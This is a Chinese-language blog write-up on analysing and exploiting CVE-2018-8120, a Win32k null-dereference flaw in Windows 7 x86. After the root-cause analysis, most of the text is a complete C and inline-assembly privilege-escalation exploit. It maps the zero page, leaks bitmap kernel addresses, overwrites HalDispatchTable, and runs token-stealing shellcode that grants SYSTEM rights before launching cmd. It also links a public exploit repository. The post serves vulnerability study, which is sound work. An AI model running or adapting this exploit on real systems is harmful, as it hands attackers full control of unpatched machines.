1、前言
借着这次来成都轮岗的机会跟tp老哥好好学习一下漏洞,这个cve-2018-8120准备从头到尾好好调试一下。
2、实验环境
- windows7 x86 sp1
- Windbg
- IDA
- ProcessHacker
3、漏洞成因
Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation对象中的spklList成员时并没有进行判断。
通过交叉引用发现NtUserSetImeInfoEx调用了这个函数。
由于我们通过CreateWindowStation的Win32k!TagWindowStation.spklList默认为0,因此我们使用SetProcessWindowStation将我们创建的Win32k!TagWindowStation对象绑定到当前程序窗口,在通过手动调用NtSetUserImeInfoEx,就会造成0地址访问而蓝屏。
4、实验
通过PCHunter找到NtSetUserImeInfoEx的序号然后根据不同版本系统构造不同的系统调用(通过OD观察)。
知道序号和系统调用方式后编写代码触发漏洞。
成功触发蓝屏
5、利用
由于在Win7中我们可以通过NtAllocateVirtualMemory申请到0地址的空间,所以我们就有了控制SetImeInfoEx中a1的能力,其中参数a2则是我们传给NtUserSetImeInfoEx的数组。因此我们就能利用SetImeInfoEx中memcpy来进行任意地址写,但由于memcpy写的长度固定不可控,因此直接覆盖HalDispatchTable会造成其他相邻数据被破坏。这里利用BitMap内核读写(不要问我怎么知道的,问就是跟大佬学的)。
- 0地址页面利用NtAllocateVirtualMemory
1 PVOID baseAddress = 0x100; 2 PVOID RegionSize = 0x1000; 3 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0; 4 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory"); 5 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
- HalDispatchTable利用ZwQuerySystemInformation找到内核模块后加载查导出表
1 DWORD SysModuleSize; 2 PVOID NtKernelAddr; 3 PVOID NtKernelAddr_InUser; 4 PVOID HalDispatchTable; 5 char* ImageName; 6 char NtKernelImageName[256] = {0}; 7 PSYSTEM_MODULE_INFORMATION SysModule; 8 _ZwQuerySystemInformation ZwQuerySystemInformation; 9 10 ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 11 ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize); 12 SysModule = malloc(SysModuleSize); 13 ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize); 14 15 NtKernelAddr = SysModule->Module[0].Base; 16 strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName); 17 ImageName = strrchr(NtKernelImageName, '\') + 1; 18 NtKernelAddr_InUser = LoadLibrary(ImageName); 19 HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable"); 20 HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
- BitMap内核对象泄露
从网上的资料来看,我们在用户层调用CreateBitMap后返回的句柄低两字节是一个指向GdiCell结构的索引,而这个结构指针保存在PEB.GdiSharedHandleTable。
1 typedef struct _GdiCell 2 { 3 PVOID pKernelAddress; 4 UINT16 wProcessIdl; 5 UINT16 wCount; 6 UINT16 wUpper; 7 UINT16 uType; 8 PVOID pUserAddress; 9 }GdiCell,*pGdiCell;
在分析SetBitMapBits时,在NtGdiSetBitMapBits里面找到了将句柄转换为内核对象的代码。发现这个计算方法和网上公开的一样,我们有理由怀疑这个GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一个数组。经过在WIndbg中进行验证(如下图)的确为同一个数组,经Windbg验证是同一物理页面在用户空间也映射了一份。
结合ReactOS和网上的资料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成员。
但是由于漏洞中的memcpy大小不可控,所以回覆盖一部分的SURFOBJ成员,所以我们需要修复某些在Set/GetBitMapBits时所必须的成员(需要修复的值是可以在bDoGetSetBitmapBits中分析得出,这里我直接抄的别人的...)。
- 完整代码
1 #include<stdio.h> 2 #include<windows.h> 3 4 5 int syscall_index = 0x1226; 6 #define PEB_GdiSharedHandleTable 0x94 //win7 x86 sp1 7 8 typedef struct _GdiCell 9 { 10 PVOID pKernelAddress; 11 UINT16 wProcessIdl; 12 UINT16 wCount; 13 UINT16 wUpper; 14 UINT16 uType; 15 PVOID pUserAddress; 16 }GdiCell,*pGdiCell; 17 18 typedef NTSTATUS (__stdcall *_ZwAllocateVirtualMemory)( 19 _In_ HANDLE ProcessHandle, 20 _Inout_ PVOID* BaseAddress, 21 _In_ ULONG_PTR ZeroBits, 22 _Inout_ PSIZE_T RegionSize, 23 _In_ ULONG AllocationType, 24 _In_ ULONG Protect 25 ); 26 27 typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)( 28 _In_ DWORD SystemInformationClass, 29 _Inout_ PVOID SystemInformation, 30 _In_ ULONG SystemInformationLength, 31 _Out_opt_ PULONG ReturnLength 32 ); 33 34 35 typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG ProfileSource, 36 OUT PULONG Interval); 37 38 39 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 40 HANDLE Section; 41 PVOID MappedBase; 42 PVOID Base; 43 ULONG Size; 44 ULONG Flags; 45 USHORT LoadOrderIndex; 46 USHORT InitOrderIndex; 47 USHORT LoadCount; 48 USHORT PathLength; 49 CHAR ImageName[256]; 50 } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY; 51 52 typedef struct _SYSTEM_MODULE_INFORMATION { 53 ULONG Count; 54 SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 55 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 56 57 58 59 void __declspec(naked) NtSetUserImeEx(int a) 60 { 61 __asm 62 { 63 mov esi,a 64 mov eax,syscall_index 65 mov edx,0x7ffe0300 66 call dword ptr[edx] 67 ret 4 68 } 69 } 70 71 void __declspec(naked) GetSystemToken() 72 { 73 __asm 74 { 75 pushad 76 mov eax,fs:[0x124] //CurrentThread 77 mov eax,[eax+0x150] //Process 78 lea edx,[eax+0xf8] //MyProcess.Token 79 noFind: 80 mov eax,[eax+0xb8] //Eprocess.ActiveProcessLinks 81 sub eax,0xb8 //next Eprocess struct 82 mov ebx,[eax+0xb4] //PID 83 cmp ebx,4 84 jnz noFind 85 mov eax,[eax+0xf8] //System.Token 86 mov [edx],eax 87 lock inc [eax] 88 lock inc[eax] 89 popad 90 ret 91 } 92 } 93 94 95 int main(int argc,char** argv) 96 { 97 98 //泄露内核对象地址 99 DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress; 100 HBITMAP hManage; 101 HBITMAP hWorker; 102 103 hManage = CreateBitmap(5, 5, 5, 5, NULL); 104 hWorker = CreateBitmap(5, 5, 5, 5, NULL); 105 __asm 106 { 107 mov eax,fs:[0x30] 108 mov eax,[eax+ PEB_GdiSharedHandleTable] 109 mov bitMapKernelAddress,eax 110 } 111 Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 112 Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 113 114 115 116 //获取HalDispatchTable表地址 117 DWORD SysModuleSize; 118 PVOID NtKernelAddr; 119 PVOID NtKernelAddr_InUser; 120 PVOID HalDispatchTable; 121 char* ImageName; 122 char NtKernelImageName[256] = {0}; 123 PSYSTEM_MODULE_INFORMATION SysModule; 124 _ZwQuerySystemInformation ZwQuerySystemInformation; 125 126 ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 127 ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize); 128 SysModule = malloc(SysModuleSize); 129 ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize); 130 131 NtKernelAddr = SysModule->Module[0].Base; 132 strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName); 133 ImageName = strrchr(NtKernelImageName, '\') + 1; 134 NtKernelAddr_InUser = LoadLibrary(ImageName); 135 HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable"); 136 HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr); 137 (DWORD)HalDispatchTable += 4; 138 139 //申请0地址内存并构造SURFOBJ,使Manage.pvScan0 = &Worker.pvScan0 140 DWORD* p = NULL; 141 PVOID baseAddress = 0x100; 142 PVOID RegionSize = 0x1000; 143 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0; 144 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory"); 145 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 146 147 148 DWORD ime[0x57] = {0x90}; 149 HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0); 150 SetProcessWindowStation(hsta); 151 152 *(p + 5) = (Worker_kernel + 0x10 + 0x20); //sizeof(SURFACE.BASEOBJECT) = 0x10 153 //offset(SURFOBJ.pvScan0) = 0x20 154 ime[0] = (Worker_kernel + 0x10 + 0x20); //while ( p[5] != *ime ) 155 156 *(p + 0xb) = (Manage_kernel + 0x10 + 0x20); //v4 = (_DWORD *)p[0xB]; 157 //if (!v4) 158 // return 0; 159 //fix some member what Set/GetBitMapBits use 160 161 DWORD* pp = (DWORD*)& ime[1]; //以下是要修复的一些成员 162 pp[0] = 0x180; 163 pp[1] = 0xabcd; 164 pp[2] = 6; 165 pp[3] = 0x10000; 166 pp[5] = 0x4800200; 167 168 169 170 //触发漏洞 171 NtSetUserImeEx(&ime); 172 173 DWORD oldHalDispatchTable; 174 PVOID ShellCode= GetSystemToken; 175 SetBitmapBits(hManage, 4, &HalDispatchTable); 176 GetBitmapBits(hWorker, 4, &oldHalDispatchTable); 177 SetBitmapBits(hWorker, 4, &ShellCode); 178 179 _NtQueryIntervalProfile NtQueryIntervalProfile; 180 ULONG Interval = 0; 181 NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); 182 NtQueryIntervalProfile(0x1337, &Interval); 183 SetBitmapBits(hWorker, 4, &oldHalDispatchTable); 184 185 system("cmd"); 186 187 return 0; 188 }
- 效果截图
6、参考资料
1 https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99 2 https://www.freebuf.com/column/173797.html 3 https://bbs.pediy.com/thread-225436.htm
利用代码: <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>